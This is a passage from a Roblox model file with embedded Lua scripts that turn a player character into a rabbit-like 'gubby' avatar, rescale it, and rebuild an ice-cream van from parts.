if char:findFirstChild(&quot;IsGubby&quot;) then return end

-- core references
local torso = char:findFirstChild(&quot;Torso&quot;)
local head  = char:findFirstChild(&quot;Head&quot;)
if not torso or not head then return end


local is2012M = pcall(function()
    return game:GetService(&quot;GuiService&quot;).UseLuaChat
end)


-- hide real torso
torso.Transparency = 1
torso.CanCollide   = false


-- Helper functions for rotations (matching resize script style)
local R90  = CFrame.fromEulerAnglesXYZ(0,  math.pi/2, 0)
local Rm90 = CFrame.fromEulerAnglesXYZ(0, -math.pi/2, 0)

for i, v in ipairs(char:children()) do
if v:isA(&quot;RobloxPackage&quot;) or v:isA(&quot;CharacterMesh&quot;) then
v.Parent = char.Torso
wait()
end
end

-- 1) HEAD
do
    local hm = head:findFirstChild(&quot;Mesh&quot;)
    if hm and is2012M then
        hm.MeshType = &quot;FileMesh&quot;
        hm.MeshId   = &quot;https://www.roblox.com/asset/?id=5560742556&quot;
        hm.Scale    = Vector3.new(0.798061311, 0.671487033, 0.798061311)
   else
	wait()
	local round = script.roundhead:clone() round.Parent = hm.Parent
	round.Name = &quot;Mesh&quot; -- compat with resize
	local compati = Instance.new(&quot;BoolValue&quot;, hm.Parent.Parent)
	compati.Name = &quot;Pre2012M&quot;
	hm:remove() ---lazy compat fix, o well
    end
    local w = Instance.new(&quot;Weld&quot;)
    w.Parent = torso
    w.Part0  = torso
    w.Part1  = head
    w.C1     = CFrame.new(HeadOffset)
end

-- 2) EARS
for _, data in ipairs({
    { name = &quot;EarR&quot;, offs = EarROffset },
    { name = &quot;EarL&quot;, offs = EarLOffset },
}) do
    local part = Instance.new(&quot;Part&quot;)
    part.Name       = data.name
    part.formFactor = Enum.FormFactor.Symmetric
    part.Size       = Vector3.new(1,1,1)
    part.Parent     = char
    part.CanCollide = false
	pcall(function() part.Material = Enum.Material.SmoothPlastic end)

    local mesh = Instance.new(&quot;SpecialMesh&quot;)
    mesh.MeshType = &quot;Wedge&quot;
    mesh.Parent   = part
    mesh.Scale = Vector3.new(0.207475901, 0.514878333, 0.772317469)

    local w = Instance.new(&quot;Weld&quot;)
    w.Parent  = torso
    w.Part0   = torso
    w.Part1   = part
    w.C1      = CFrame.new(data.offs)
end

-- 3) FAKE TORSO
do
    local ft = Instance.new(&quot;Part&quot;)
    ft.Name       = &quot;FakeTorso&quot;
   ft.formFactor = Enum.FormFactor.Symmetric
    ft.Size       = Vector3.new(1,1,1 )
    ft.Parent     = char
    ft.CanCollide = false

    local mesh = Instance.new(&quot;SpecialMesh&quot;)
    mesh.MeshType = &quot;FileMesh&quot;
    mesh.MeshId   = &quot;https://www.roblox.com/asset/?id=5560742556&quot;
    mesh.Scale    = Vector3.new(1.2024554, 0.917663276, 1.61382174)
    mesh.Parent   = ft

    local w = Instance.new(&quot;Weld&quot;)
    w.Parent = torso
    w.Part0  = torso
    w.Part1  = ft
    -- only yaw 90&#176; on Y, then apply offset
    w.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0)
           * CFrame.new(FakeTorsoOffset)
end

-- helper: weld a part at a given offset
local function weldPart(name, size, meshType, meshId, meshScale, offset)
    local p = Instance.new(&quot;Part&quot;)
    p.Name       = name
    p.formFactor = Enum.FormFactor.Symmetric
    p.Size       = size
    p.Parent     = char
    p.CanCollide = false

    local m = Instance.new(&quot;SpecialMesh&quot;)
    m.MeshType = meshType
    if meshId    then m.MeshId   = meshId    end
    if meshScale then m.Scale    = meshScale end
    m.Parent   = p

    local w = Instance.new(&quot;Weld&quot;)
    w.Parent  = torso
    w.Part0   = torso
    w.Part1   = p
    w.C1      = CFrame.new(offset)
end

-- 4) TAIL &amp; BUNS
weldPart(&quot;Tail&quot;, TailSize, &quot;FileMesh&quot;,
         &quot;https://www.roblox.com/asset/?id=5560742556&quot;,
         Vector3.new(0.348079145,0.348079205,0.348079205),
         TailOffset)

weldPart(&quot;BunsL&quot;, BunsSize, &quot;Head&quot;, nil, nil, BunsLOffset)
weldPart(&quot;BunsR&quot;, BunsSize, &quot;Head&quot;, nil, nil, BunsROffset)
char.BunsL.Mesh.Scale = Vector3.new(0.83,  0.847, 0.85)
char.BunsR.Mesh.Scale = Vector3.new(0.83,  0.847, 0.85)

-- 5) REAL LIMBS - FIXED: Use Motor joints (2010-style) instead of Motor6D
-- First, remove all existing joints
for _, child in pairs(torso:GetChildren()) do
    if child:IsA(&quot;Motor6D&quot;) or child:IsA(&quot;Motor&quot;) or child:IsA(&quot;Snap&quot;) then
        child:Remove()
    end
end

-- Set limb properties and create Motor joints
for _, info in ipairs({
    { name = &quot;Left Arm&quot;,  offs = LeftArmOffset,  rot = LeftArmRotation, motor_name = &quot;Left Shoulder&quot; },
    { name = &quot;Right Arm&quot;, offs = RightArmOffset, rot = RightArmRotation, motor_name = &quot;Right Shoulder&quot; },
    { name = &quot;Left Leg&quot;,  offs = LeftLegOffset,  rot = LeftLegRotation, motor_name = &quot;Left Hip&quot; },
    { name = &quot;Right Leg&quot;, offs = RightLegOffset, rot = RightLegRotation, motor_name = &quot;Right Hip&quot; },
}) do
    local limb = char:findFirstChild(info.name)
    if limb then
        -- Set limb properties
        limb.formFactor = Enum.FormFactor.Symmetric
        limb.Size       = LimbSize

        local mesh = Instance.new(&quot;SpecialMesh&quot;)
        mesh.MeshType = &quot;Head&quot;
        mesh.Parent   = limb
	mesh.Scale = Vector3.new(0.29,  0.93,  0.30)
        -- Create Motor joint (2010-style) with proper configuration
        local motor = Instance.new(&quot;Motor&quot;)
        motor.Name = info.motor_name
        motor.Parent = torso
        motor.Part0 = torso
        motor.Part1 = limb
        motor.MaxVelocity = 0.1  -- CRITICAL: This is needed for 2010 animations
        
        -- Calculate rotation CFrame
        local rotationCFrame = CFrame.fromEulerAnglesXYZ(
            math.rad(info.rot.X), 
            math.rad(info.rot.Y), 
            math.rad(info.rot.Z)
        )
        
        -- Set C0 and C1 (following resize script pattern)
        motor.C0 = CFrame.new(info.offs) * rotationCFrame
        motor.C1 = CFrame.new(0, 0, 0)
        
        -- Position the limb correctly
        limb.CFrame = torso.CFrame * motor.C0 * motor.C1:inverse()
    end
end

-- Create Neck joint for head (using Snap like in resize script)
local head = char:findFirstChild(&quot;Head&quot;)
if head then
    -- Remove existing neck joints
    for _, child in pairs(torso:GetChildren()) do
        if child.Name == &quot;Neck&quot; then
            child:Remove()
        end
    end
    
    local neck = Instance.new(&quot;Snap&quot;)
    neck.Name = &quot;Neck&quot;
    neck.Part0 = torso
    neck.Part1 = head
    neck.Parent = torso
    neck.C0 = CFrame.new(HeadOffset)
end

-- 6) HumanoidRootPart (only if present, no break in 2010)
local root = char:findFirstChild(&quot;HumanoidRootPart&quot;)
if root then
    root.Transparency = 1
    local w = Instance.new(&quot;Weld&quot;)
    w.Parent = torso
    w.Part0  = torso
    w.Part1  = root
    w.C1     = CFrame.new(RootOffset)
end

for i, v in ipairs(char:children()) do
	if v:isA(&quot;Part&quot;) and v.Name == &quot;Head&quot; then
		v.BrickColor = BrickColor.new(1)
		for i, headchild in ipairs(v:children()) do
			if headchild.Name == &quot;Decal&quot; or headchild.Name == &quot;face&quot; then
				headchild.Texture = &quot;http://www.roblox.com/asset/?id=7132019&quot;
			end
		end
	elseif v:isA(&quot;Part&quot;) and v.Name ~= &quot;Head&quot; then 
		v.BrickColor = BrickColor.new(1)
	elseif v:isA(&quot;Hat&quot;) then
		v:findFirstChild(&quot;Handle&quot;).Transparency = 1
	elseif v:isA(&quot;Shirt&quot;) or v:isA(&quot;Pants&quot;) then
	v.Parent = v.Parent.Torso
	end
end

-- 7) Restart animation script for proper 2010 animation
if char:findFirstChild(&quot;Animate&quot;) then
    char.Animate.Disabled = false
    wait(0.1)
    char.Animate.Disabled = true
    wait(0.3)
    char.Animate.Disabled = false
end

for _, joint in ipairs(torso:GetChildren()) do --offset&apos;s torso so gubby isn&apos;t levitating
	if joint:IsA(&quot;Weld&quot;) or joint:IsA(&quot;Motor&quot;) or joint:IsA(&quot;Snap&quot;) then
		joint.C0 = CFrame.new(TorsoOffset) * joint.C0
		end
	end

-- 8) Marker so it only runs once
local marker = Instance.new(&quot;StringValue&quot;)
marker.Name   = &quot;IsGubby&quot;
marker.Value  = &quot;Epic&quot;
marker.Parent = char</ProtectedString>
				</Properties>
				<Item class="CylinderMesh" referent="RBX68">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="Bevel">0.200000003</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0.5</float>
						<token name="LODX">1</token>
						<token name="LODY">2</token>
						<string name="Name">roundhead</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0.100000001</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0.810000002</Y>
							<Z>1.10000002</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX69">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">gubbyresize</string>
					<ProtectedString name="Source">-- #############################################################
-- 2012-style gubby character scaler &#150; resizes existing gubby
-- #############################################################
--  &#149; Works every time you re-run it: gubby parts scale properly
--  &#149; Keeps classic lower-case 2012 API  (:children(), :isA(), :connect, :remove, :findFirstChild)
--  &#149; Enhanced with configurable leg platform controls
-- #############################################################

----------------------------------------------------------------
-- LEG PLATFORM MODIFIERS (adjust these as needed)
----------------------------------------------------------------
local PLATFORM_SIZE_MODIFIER = 1.0      -- multiplier for platform size (1.0 = default)
local PLATFORM_Y_OFFSET = 2           -- additional Y offset in studs (+ = higher, - = lower)
local PLATFORM_ROTATION_X = 0          -- rotation in radians around X axis
local PLATFORM_ROTATION_Y = 80         -- rotation in radians around Y axis  
local PLATFORM_ROTATION_Z = 0          -- rotation in radians around Z axis

----------------------------------------------------------------
-- 0)  objects &amp; last-modifier tracker
----------------------------------------------------------------
local char = script.Parent
local mod  = script.modifier.Value                  -- new size you want

-- remember the previous size so we only scale **by the ratio**
local lastModObj = char:findFirstChild(&quot;_LastModifier&quot;)
if not lastModObj then
	lastModObj           = Instance.new(&quot;NumberValue&quot;)
	lastModObj.Name      = &quot;_LastModifier&quot;
	lastModObj.Value     = 1                       -- avatar starts un-scaled
	lastModObj.Parent    = char
end
local lastMod     = lastModObj.Value              -- what the rig is right now
local scaleFactor = mod / lastMod                 --  &gt;1 grow, &lt;1 shrink

----------------------------------------------------------------
-- constants / helpers
----------------------------------------------------------------
local V3   = Vector3.new
local R90  = CFrame.fromEulerAnglesXYZ(0,  math.pi/2, 0)
local Rm90 = CFrame.fromEulerAnglesXYZ(0, -math.pi/2, 0)

-- gubby part base sizes (from original gubby script)
local GUBBY_BASE = {
	Head          = V3(2,1,1),
	Torso         = V3(2,2,1),
	[&quot;Left Arm&quot;]  = V3(0.29,  0.93,  0.30),
	[&quot;Right Arm&quot;] = V3(0.29,  0.93,  0.30),
	[&quot;Left Leg&quot;]  = V3(0.29,  0.93,  0.30),
	[&quot;Right Leg&quot;] = V3(0.29,  0.93,  0.30),
	FakeTorso     = V3(2.4049108, 0.917663276, 1.61382174),
	EarR          = V3(0.207475901, 0.514878333, 0.772317469),
	EarL          = V3(0.207475901, 0.514878333, 0.772317469),
	Tail          = V3(0.696, 0.348, 0.348),
	BunsL         = V3(0.83,  0.847, 0.85),
	BunsR         = V3(0.83,  0.847, 0.85),
}

-- gubby part base offsets (from original gubby script)
local GUBBY_OFFSETS = {
	Head          = V3( 0,     0.72,  -0.79),
	EarR          = V3(-0.23, -1.48,   0.54),
	EarL          = V3( 0.23, -1.48,   0.54),
	FakeTorso     = V3( 0,     0,      0),
	Tail          = V3( 0,    -0.54,  -1.04),
	BunsL         = V3( 0.41, -0.03,  -0.57),
	BunsR         = V3(-0.43, -0.01,  -0.57),
	[&quot;Left Arm&quot;]  = V3( 0.46, -0.59,   0.61),
	[&quot;Right Arm&quot;] = V3(-0.46, -0.59,   0.60),
	[&quot;Left Leg&quot;]  = V3( 0.46, -0.59,  -0.61),
	[&quot;Right Leg&quot;] = V3(-0.46, -0.59,  -0.61),
}

-- gubby part rotations in radians
local GUBBY_ROTATIONS = {
	[&quot;Left Arm&quot;]  = V3(0, math.pi/2, 0),
	[&quot;Right Arm&quot;] = V3(0, math.pi/2, 0),
	[&quot;Left Leg&quot;]  = V3(0, math.pi/2, 0),
	[&quot;Right Leg&quot;] = V3(0, math.pi/2, 0),
}

local function hGap(sx) return math.max(sx*0.001, 0.002) end
local function vGap(sy) return math.max(sy*0.001, 0.002) end

----------------------------------------------------------------
-- 1) anchor pose for gubby (absolute values - no cumulative error)
----------------------------------------------------------------
local function anchorPoseGubby(c)
	local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
	
	-- Scale and position torso
	torso.Size = GUBBY_BASE.Torso * mod
	torso.Anchored = true
	
	-- Auto floor lift based on leg size
	local legSize = GUBBY_BASE[&quot;Left Leg&quot;] * mod
	local lift = (GUBBY_BASE.Torso.Y/2 + legSize.Y) * (mod-1)
	torso.CFrame = torso.CFrame * CFrame.new(0, lift, 0)
	
	-- Scale and position all gubby parts
	for partName, baseSize in pairs(GUBBY_BASE) do
		local part = c:findFirstChild(partName)
		if part and partName ~= &quot;Torso&quot; then
			part.Anchored = true
			if partName ~= &quot;EarL&quot; and partName ~= &quot;EarR&quot; and partName ~= &quot;Head&quot; then --  and partName ~= &quot;Left Leg&quot; and partName ~= &quot;Right Leg&quot; and partName ~= &quot;Left Arm&quot;  and partName ~= &quot;Right Arm&quot;
			part.Size = baseSize * mod
			end

			if partName == &quot;Left Leg&quot; or partName == &quot;Right Leg&quot; or partName == &quot;Left Arm&quot;  or partName == &quot;Right Arm&quot; then
			part.Size = Vector3.new(1,1,1) * mod
			elseif partName == &quot;Head&quot; then
				if part.Mesh:isA(&quot;CylinderMesh&quot;) then
					part.Mesh.Scale = Vector3.new(1*mod, mod-0.19, 1.1*mod)
				else
					part.Mesh.Scale = Vector3.new(0.798061311, 0.671487033, 0.798061311) * mod
				end
			end
			-- Get offset and apply scaling
			local offset = GUBBY_OFFSETS[partName]
			if offset then
				local scaledOffset = offset * mod
				local rotationCFrame = CFrame.new()
				
				-- Apply rotation if it exists
				if GUBBY_ROTATIONS[partName] then
					local rot = GUBBY_ROTATIONS[partName]
					rotationCFrame = CFrame.fromEulerAnglesXYZ(rot.X, rot.Y, rot.Z)
				end
				
				part.CFrame = torso.CFrame * CFrame.new(scaledOffset) * rotationCFrame
			end
		end
	end
	
	-- Explicitly handle FakeTorso and Tail sizing (in case they weren&apos;t caught above)
	local fakeTorso = c:findFirstChild(&quot;FakeTorso&quot;)
	if fakeTorso then
		fakeTorso.Anchored = true
		fakeTorso.Size = GUBBY_BASE.FakeTorso * mod
		fakeTorso.CFrame = torso.CFrame * CFrame.new(GUBBY_OFFSETS.FakeTorso * mod)
	end
	
	local tail = c:findFirstChild(&quot;Tail&quot;)
	if tail then
		tail.Anchored = true
		tail.Size = GUBBY_BASE.Tail * mod
		tail.CFrame = torso.CFrame * CFrame.new(GUBBY_OFFSETS.Tail * mod)
	end
	
	-- Scale meshes for special parts
	local head = c:findFirstChild(&quot;Head&quot;)
	if head then
		local headMesh = head:findFirstChild(&quot;Mesh&quot;)
		if headMesh then
			--headMesh.Scale = V3(0.798061311, 0.671487033, 0.798061311) * mod
		end
	end

	local lleg = c:findFirstChild(&quot;Left Leg&quot;)
	if lleg then
		local llegmesh = lleg:findFirstChild(&quot;Mesh&quot;)
		if llegmesh and mod &gt;= 1 then
			llegmesh.Scale = V3(0.29, 0.93, 0.3)
		else
			llegmesh.Scale = V3(0.29, 0.93, 0.3) * mod
		end
	end

		local rleg = c:findFirstChild(&quot;Right Leg&quot;)
	if rleg then
		local rlegmesh = rleg:findFirstChild(&quot;Mesh&quot;)
		if rlegmesh and mod &gt;= 1 then
			rlegmesh.Scale = V3(0.29, 0.93, 0.3)
		else
			rlegmesh.Scale = V3(0.29, 0.93, 0.3) * mod
		end
	end
	
		local larm = c:findFirstChild(&quot;Left Arm&quot;)
	if larm then
		local larmmesh = larm:findFirstChild(&quot;Mesh&quot;)
		if larmmesh and mod &gt;= 1 then
			larmmesh.Scale = V3(0.29, 0.93, 0.3)
		else
			larmmesh.Scale = V3(0.29, 0.93, 0.3) * mod
		end
	end

		local rarm = c:findFirstChild(&quot;Right Arm&quot;)
	if rarm then
		local rarmmesh = rarm:findFirstChild(&quot;Mesh&quot;)
		if rarmmesh and mod &gt;= 1 then
			rarmmesh.Scale = V3(0.29, 0.93, 0.3)
		else
			rarmmesh.Scale = V3(0.29, 0.93, 0.3) * mod
		end
	end

	local lbuns = c:findFirstChild(&quot;BunsL&quot;)
	if lbuns then
		local lbunsmesh = lbuns:findFirstChild(&quot;Mesh&quot;)
		if lbunsmesh and mod &gt;= 1 then
			lbunsmesh.Scale = V3(0.83,  0.847, 0.85)
		else
			lbunsmesh.Scale = V3(0.83,  0.847, 0.85) * mod
		end
	end

	local rbuns = c:findFirstChild(&quot;BunsR&quot;)
	if rbuns then
		local rbunsmesh = rbuns:findFirstChild(&quot;Mesh&quot;)
		if rbunsmesh and mod &gt;= 1 then
			rbunsmesh.Scale = V3(0.83,  0.847, 0.85)
		else
			rbunsmesh.Scale = V3(0.83,  0.847, 0.85) * mod
		end
	end
 -----------
	local fakeTorso = c:findFirstChild(&quot;FakeTorso&quot;)
	if fakeTorso then
		local ftMesh = fakeTorso:findFirstChild(&quot;SpecialMesh&quot;) or fakeTorso:findFirstChild(&quot;Mesh&quot;)
		if ftMesh then
			ftMesh.Scale = V3(1.2024554, 0.917663276, 1.61382174) * mod
		end
	end
	
	local tail = c:findFirstChild(&quot;Tail&quot;)
	if tail then
		local tailMesh = tail:findFirstChild(&quot;SpecialMesh&quot;) or tail:findFirstChild(&quot;Mesh&quot;)
		if tailMesh then
			tailMesh.Scale = V3(0.348079145, 0.348079205, 0.348079205) * mod
		end
	end
	
	local earmeshsize = Vector3.new(0.207, 0.515, 0.772)
	
	-- Also handle ears mesh scaling
	local earR = c:findFirstChild(&quot;EarR&quot;)
	if earR then
		local earRMesh = earR:findFirstChild(&quot;SpecialMesh&quot;) or earR:findFirstChild(&quot;Mesh&quot;)
		if earRMesh then
			earRMesh.Scale = earmeshsize * mod
		end
	end
	
	local earL = c:findFirstChild(&quot;EarL&quot;)
	if earL then
		local earLMesh = earL:findFirstChild(&quot;SpecialMesh&quot;) or earL:findFirstChild(&quot;Mesh&quot;)
		if earLMesh then
			earLMesh.Scale = (earmeshsize * mod)
		end
	end
end

----------------------------------------------------------------
-- 2) rebuild gubby joints
----------------------------------------------------------------
local function jointsGubby(c)
	local torso = c:findFirstChild(&quot;Torso&quot;); if not torso then return end
	
	-- Remove existing joints
	for _,v in ipairs(torso:children()) do
		if v:isA(&quot;Motor&quot;) or v:isA(&quot;Snap&quot;) or v:isA(&quot;Weld&quot;) then v:remove() end
	end
	
	-- Recreate Motor joints for limbs (2012 style)
	local limbData = {
		{name = &quot;Left Arm&quot;,  motor_name = &quot;Left Shoulder&quot;},
		{name = &quot;Right Arm&quot;, motor_name = &quot;Right Shoulder&quot;},
		{name = &quot;Left Leg&quot;,  motor_name = &quot;Left Hip&quot;},
		{name = &quot;Right Leg&quot;, motor_name = &quot;Right Hip&quot;},
	}
	
	for _, info in ipairs(limbData) do
		local limb = c:findFirstChild(info.name)
		if limb then
			local motor = Instance.new(&quot;Motor&quot;)
			motor.Name = info.motor_name
			motor.Parent = torso
			motor.Part0 = torso
			motor.Part1 = limb
			motor.MaxVelocity = 0.1
			
			-- Get scaled offset and rotation
			local offset = GUBBY_OFFSETS[info.name] * mod
			local rotation = GUBBY_ROTATIONS[info.name] or V3(0,0,0)
			local rotationCFrame = CFrame.fromEulerAnglesXYZ(rotation.X, rotation.Y, rotation.Z)
			
			motor.C0 = CFrame.new(offset) * rotationCFrame
			motor.C1 = CFrame.new(0, 0, 0)
			
			-- Position the limb correctly
			limb.CFrame = torso.CFrame * motor.C0 * motor.C1:inverse()
		end
	end
	
	-- Recreate head joint
	local head = c:findFirstChild(&quot;Head&quot;)
	if head then
		local neck = Instance.new(&quot;Snap&quot;)
		neck.Name = &quot;Neck&quot;
		neck.Part0 = torso
		neck.Part1 = head
		neck.Parent = torso
		neck.C0 = CFrame.new(GUBBY_OFFSETS.Head * mod)
	end
	
	-- Recreate welds for gubby parts
	local weldParts = {&quot;EarR&quot;, &quot;EarL&quot;, &quot;FakeTorso&quot;, &quot;Tail&quot;, &quot;BunsL&quot;, &quot;BunsR&quot;}
	for _, partName in ipairs(weldParts) do
		local part = c:findFirstChild(partName)
		if part then
			local weld = Instance.new(&quot;Weld&quot;)
			weld.Parent = torso
			weld.Part0 = torso
			weld.Part1 = part
			weld.C1 = CFrame.new(GUBBY_OFFSETS[partName] * mod)
		end
	end
	
	-- Handle HumanoidRootPart if present
	local root = c:findFirstChild(&quot;HumanoidRootPart&quot;)
	if root then
		local rootWeld = Instance.new(&quot;Weld&quot;)
		rootWeld.Parent = torso
		rootWeld.Part0 = torso
		rootWeld.Part1 = root
		rootWeld.C1 = CFrame.new(V3(0, -0.9, 0) * mod) -- RootOffset scaled
	end
	
	-- Apply torso offset to all joints
	local torsoOffset = V3(0, -0.8, 0) * mod -- TorsoOffset scaled
	for _, joint in ipairs(torso:children()) do
		if joint:isA(&quot;Weld&quot;) or joint:isA(&quot;Motor&quot;) or joint:isA(&quot;Snap&quot;) and joint.Parent ~= &quot;Head&quot; then
			joint.C0 = CFrame.new(torsoOffset) * joint.C0
		end
	end
end

----------------------------------------------------------------
-- 3) enhanced leg platform for gubby with configurable modifiers
----------------------------------------------------------------
local function platformGubby(c)
	local plate = c:findFirstChild(&quot;LegPlatform&quot;)
	if plate then plate:remove() end
	if mod &lt; 3.5 then return end

	local t, lleg = c:findFirstChild(&quot;Torso&quot;), c:findFirstChild(&quot;Left Leg&quot;)
	if not (t and lleg) then return end

	plate = Instance.new(&quot;Part&quot;)
	plate.Name = &quot;LegPlatform&quot;
	
	-- Apply size modifier to platform dimensions
	local baseSize = (mod&gt;100) and V3(t.Size.X,35,t.Size.Z) or V3(t.Size.X,5,t.Size.Z)
	plate.Size = baseSize * PLATFORM_SIZE_MODIFIER
	
	plate.Transparency, plate.CanCollide = 1, true
	plate.Anchored, plate.TopSurface, plate.BottomSurface = false, 0, 0
	plate.Parent = c

	local half = t.Size.Y/2 + lleg.Size.Y
	local yOff = -half + plate.Size.Y/2 + PLATFORM_Y_OFFSET

	-- Create rotation CFrame from the modifier values
	local customRotation = CFrame.fromEulerAnglesXYZ(
		PLATFORM_ROTATION_X, 
		PLATFORM_ROTATION_Y, 
		PLATFORM_ROTATION_Z
	)
	
	-- Apply position and rotation (including the original pi rotation plus custom rotation)
	local originalRotation = CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
	plate.CFrame = t.CFrame * CFrame.new(0, yOff, 0) * originalRotation * customRotation

	local w = Instance.new(&quot;Weld&quot;)
	w.Name, w.Part0, w.Part1, w.Parent = &quot;LegPlateWeld&quot;, t, plate, t
	w.C0, w.C1 = t.CFrame:inverse()*plate.CFrame, CFrame.new()
end

----------------------------------------------------------------
-- 4) run the pipeline
----------------------------------------------------------------
char:BreakJoints()
anchorPoseGubby(char)
jointsGubby(char)
platformGubby(char)

----------------------------------------------------------------
-- 5) HRP weld so 2012 tools work
----------------------------------------------------------------
local torso, hrp = char:findFirstChild(&quot;Torso&quot;), char:findFirstChild(&quot;HumanoidRootPart&quot;)
if torso and hrp then
	hrp.Size, hrp.CFrame = torso.Size, torso.CFrame
	local rw = Instance.new(&quot;Weld&quot;)
	rw.Name, rw.Part0, rw.Part1, rw.Parent = &quot;RootWeld&quot;, torso, hrp, torso
	rw.C0, rw.C1 = CFrame.new(), CFrame.new()
	char.Humanoid.CameraOffset = V3(0, mod, 0)
end

----------------------------------------------------------------
-- 6) un-anchor parts
----------------------------------------------------------------
for _,p in ipairs(char:children()) do
	if p:isA(&quot;Part&quot;) then p.Anchored = false end
end

----------------------------------------------------------------
-- 7) bounce Animate for old clients
----------------------------------------------------------------
char.Animate.Disabled = false
wait(0.1)
char.Animate.Disabled = true
wait(0.3)
char.Animate.Disabled = false

----------------------------------------------------------------
-- 8) update last-modifier for the **next** resize
----------------------------------------------------------------
lastModObj.Value = mod</ProtectedString>
				</Properties>
				<Item class="NumberValue" referent="RBX70">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">modifier</string>
						<double name="Value">0</double>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX71">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">vanspawn</string>
					<ProtectedString name="Source">-- Vehicle Reconstruction (2010-safe, v5) --
----compat check----
local t = Instance.new(&quot;Part&quot;, game.Lighting)
local ok = pcall(function() t.formFactor = Enum.FormFactor.Custom end)
compatibility = ok and t.formFactor == Enum.FormFactor.Custom and Enum.FormFactor.Custom or Enum.FormFactor.Symmetric
t:Remove()


  Vehicle = Instance.new(&apos;Model&apos;, game.Lighting)
  Vehicle.Name = &apos;IcecreamVan&apos;
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.500000)
  Vehicle_Part.CFrame = CFrame.new(-40.162514,5.334711,176.633942) * CFrame.Angles(-0.000000,-1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.500000)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.500000)
  Vehicle_Part.CFrame = CFrame.new(-40.162506,5.334614,182.552292) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,4.533338,0.500000)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.096302,4.603337,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.290154,5.304893,176.493149) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.096302,4.603337,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.762965,3.525930)
  Vehicle_Part.CFrame = CFrame.new(-41.927238,3.949455,182.615326) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
